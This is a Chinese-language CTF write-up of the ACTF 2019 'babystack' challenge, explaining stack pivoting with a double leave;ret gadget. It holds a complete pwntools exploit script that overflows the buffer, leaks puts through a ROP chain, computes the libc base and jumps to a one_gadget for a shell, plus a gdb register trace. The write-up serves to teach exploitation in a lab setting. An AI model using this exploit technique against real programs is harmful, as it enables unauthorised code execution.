[栈迁移]ACTF_2019_babystack

0x00 前言

题目考察点:栈迁移ROPret2leave

题目来源:BUUCTF

写这篇博客为了记录一下栈迁移的用法。

0x01 分析

1
2
3
4
5
Arch:     amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)

程序最大可以读入0xE0字节的数据,而s与rbp的距离为0xD0,所以还可以溢出0xE0-0xD0 = 0x10个字节的数据,但是这0x10只够覆盖rbp和返回地址

程序会把栈地址打印出来。

程序开了NX保护,无法往栈上写入shellcode来执行

所以考虑栈迁移,然后构造ROP链

0x02 EXP与解释

这道题比较简单,直接放EXP了,一些关键点会解释一下。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
#coding:utf-8
from pwn import *
from LibcSearcher import *
context(log_level = 'debug',arch = 'amd64',os = 'linux')

#c = process('./babystack')
elf = ELF('./babystack')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
c = remote('node3.buuoj.cn',28934)
main = 0x4008F6
leave = 0x400A18
pop_rdi_ret = 0x400ad3
def sendMsg(payload):
c.recvuntil('>')
c.sendline(str(0xe0))
c.recvuntil('Your message will be saved at ')
addr = int(c.recvuntil('\n',drop = True),16)
success('stack_addr = ' + hex(addr))
payload += 'a'*(0xd0 - len(payload)) + p64(addr) + p64(leave)
c.recvline()
c.recvuntil('>')
c.send(payload)#注意这里要send,不能用sendline,不然程序接收和发送不匹配!!!!

payload = 'a'*8 + p64(pop_rdi_ret) + p64(elf.got['puts']) + p64(elf.plt['puts']) + p64(main)

sendMsg(payload)
c.recvuntil('Byebye~\n')

puts_addr = u64(c.recvuntil('\n',drop = True).ljust(8,'\x00'))
success('puts_addr = ' + hex(puts_addr))

#libc = LibcSearcher('puts',puts_addr)
#libcbase = puts_addr - libc.dump('puts')
libcbase = puts_addr - libc.symbols['puts']
execv = libcbase + 0x4f2c5

payload = 'a'*8 + p64(execv)
sendMsg(payload)

c.interactive()

由于题目并没有给libc,可以考虑用LibcSearcher(实际上libc就是libc-2.27.so)

来看第一个payload,关于它的执行流程,可以看下面:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
read之前
RBP 0x7fffffffdd90 —▸ 0x400a70 ◂— 0x41ff894156415741
RSP 0x7fffffffdcc0 ◂— 0x0

call read: rbp里面的内容被覆盖为程序打印出的栈地址,也就是s的首地址
RBP 0x7fffffffdd90 —▸ 0x7fffffffdcc0 ◂— 0x6161616161616161 ('aaaaaaaa')
RSP 0x7fffffffdcc0 ◂— 0x6161616161616161 ('aaaaaaaa')

leave(程序自身的leave,位于0x400A18),mov rsp,rbp;pop rbp(使得rsp+=8,指向了我们的p64(leave))
RBP 0x7fffffffdcc0 ◂— 0x6161616161616161 ('aaaaaaaa')
RSP 0x7fffffffdd98 —▸ 0x400a18 ◂— 0x8348e5894855c3c9

ret(程序自身的ret,位于0x400A19),将我们传入的p64(leave)传给rip,rsp+=8,接着执行leave;ret。
RBP 0x7fffffffdcc0 ◂— 0x6161616161616161 ('aaaaaaaa')
RSP 0x7fffffffdda0 ◂— 0x0

leave(我们的p64(leave)),mov rsp,rbp;pop rbp; 此时rsp又指向了s首地址+8的位置,即p64(pop_rdi_ret)
RBP 0x6161616161616161 ('aaaaaaaa')
RSP 0x7fffffffdcc8 —▸ 0x400ad3 ◂— 0x841f0f2e6690c35f

ret(我们传入的),pop rdi;将p64(pop_rdi_ret)传给rip
RBP 0x6161616161616161 ('aaaaaaaa')
RSP 0x7fffffffdcd0 —▸ 0x601020 —▸ 0x7ffff7a649c0 (puts) ◂— push r13

此时 RIP -- > pop_rdi_ret,从而执行我们的ROP链

有的博主把这块构造叫做ret2leave

关于第二个payload,我试过通过rop链构造system('/bin/sh')但是打不通,所以这里采用one_gadget

这里选用的第一个0x4f2c5,然后老样子构造payload即可。

0x03 写在最后

这道题目不难,关键是理解这个栈迁移的原理和ret2leave的执行流程。

可以总结一下:

leave相当于 rsp = rbp + 8; rbp = [rbp];

为了达到我们的目的(让rsp指向 rbp里面的值+8的位置),一次leave是不够的,所以本题需要两次,才能使得rsp = [rbp] + 8